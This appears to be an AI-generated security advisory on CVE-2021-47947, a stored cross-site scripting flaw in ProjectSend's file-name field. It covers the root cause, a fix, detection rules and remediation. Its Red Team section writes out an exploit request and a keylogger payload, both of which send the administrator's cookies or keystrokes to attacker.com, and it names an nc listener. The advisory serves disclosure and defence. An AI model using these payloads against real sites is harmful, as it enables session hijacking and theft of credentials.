CVE-2021-47947

Executive Summary

CVE-2021-47947 is a stored cross-site scripting (XSS) vulnerability identified in ProjectSend r1295, an open-source file-sharing application. The flaw resides in the name parameter of the files-edit.php endpoint, allowing authenticated attackers to inject arbitrary JavaScript payloads. When a System Administrator views the affected file entry on the Dashboard, the injected script executes in the browser context, potentially leading to session hijacking, data exfiltration, or further privilege escalation. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No official patch has been released, and no public exploit code or Nuclei template is available.

Supply Chain & Package Security

ProjectSend is a PHP-based application distributed via GitHub and its official website. The vulnerability affects the core application code, not a third-party package. However, administrators should verify the integrity of their ProjectSend installation by checking file hashes against the official repository. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user
• User Interaction: Required (UI:R) – victim must view the malicious file entry
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the impact is amplified because the attack targets administrators, potentially leading to full application compromise. The lack of a patch increases the risk for unmaintained instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the file upload/editing functionality of ProjectSend. The application fails to sanitize or encode the name parameter when a user edits a file's metadata via files-edit.php. The injected payload is stored in the database and later rendered without proper escaping on the Dashboard page, which is typically accessed by System Administrators.

Attack Flow:

1. An authenticated attacker (e.g., a regular user) navigates to files-edit.php and submits a crafted name parameter containing a JavaScript payload, such as <script>alert('XSS')</script>.
2. The application stores the malicious file name in the database.
3. When a System Administrator views the Dashboard (e.g., dashboard.php), the application retrieves and displays the file name without sanitization.
4. The browser executes the injected script, allowing the attacker to perform actions in the context of the administrator's session.

Root Cause: Insufficient output encoding in the file name display logic. The application likely uses echo $fileName or similar without applying htmlspecialchars() or equivalent escaping.

Vulnerable vs. Patched Code

Vulnerable Code (ProjectSend r1295):

// files-edit.php (simplified)
$file_name = $_POST['name'];
// ... store $file_name in database without sanitization

// dashboard.php (simplified)
echo $file['name']; // No HTML encoding

Patched Code (Hypothetical Fix):

// files-edit.php
$file_name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... store sanitized $file_name

// dashboard.php
echo htmlspecialchars($file['name'], ENT_QUOTES, 'UTF-8');

Note: Since no official patch exists, the above is a recommended fix. Administrators should apply output encoding to all user-supplied data displayed in the browser.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of ProjectSend r1295
• Valid credentials for an authenticated user (e.g., "client" role)
• Network access to the application

Exploitation Steps:

1. Log in to ProjectSend as an authenticated user.
2. Navigate to files-edit.php (e.g., http://target/projectsend/files-edit.php?id=1).
3. Intercept the request using a proxy (e.g., Burp Suite) and modify the name parameter to include a JavaScript payload:

   POST /projectsend/files-edit.php?id=1 HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Cookie: PHPSESSID=your_session
   
   name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&file=1
   

4. Submit the request. The malicious file name is stored.
5. Wait for a System Administrator to view the Dashboard. When they do, the script executes, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>document.addEventListener('keydown', function(e){fetch('http://attacker.com/keylog?k='+e.key)})</script>

Blue Team

Detection & Response:

• Monitor HTTP requests to files-edit.php for suspicious name parameters containing <script>, onerror=, or other HTML event handlers.
• Review server logs for unusual outbound connections from the web server (e.g., to attacker-controlled domains).
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in file name fields.
• Conduct regular code reviews to ensure all user input is properly sanitized and output is encoded.

Lab Setup:

1. Deploy ProjectSend r1295 in a controlled environment (e.g., Docker container).
2. Create a test user with "client" role and a System Administrator account.
3. Use a browser with developer tools to simulate the attack and observe the XSS execution.
4. Set up a simple HTTP listener (e.g., nc -lvnp 80) to capture exfiltrated data.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /projectsend/files-edit.php with name parameter containing <script> tags or JavaScript event handlers.
  • Outbound HTTP requests from the web server to unknown IP addresses or domains (e.g., attacker.com).
• File IOCs:
  • Database entries in the files table where the name column contains HTML/JavaScript code.
• Log IOCs:
  • Web server access logs showing files-edit.php requests with unusual name values.
  • Error logs indicating failed XSS filter attempts (if any).

Detection Engineering

YARA Rule

rule CVE_2021_47947_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ProjectSend file names"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2021-47947"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: ProjectSend Stored XSS via File Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-47947 by injecting XSS payloads into the file name parameter.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/files-edit.php'
        cs-uri-query|contains|all:
            - 'name='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate file names containing '<script' (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47947 ProjectSend Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/files-edit.php"; http_uri; content:"name="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file editing for non-admin users if possible, by modifying access controls in files-edit.php.
2. Apply input sanitization by adding htmlspecialchars() to the name parameter before storage and display.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Upgrade to a patched version if available; otherwise, consider migrating to an alternative file-sharing solution.

Long-Term Fix:

• Fork the ProjectSend repository and apply the patch manually.
• Conduct a full security audit of the application to identify similar vulnerabilities.
• Enable automatic security updates and monitor for new releases.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.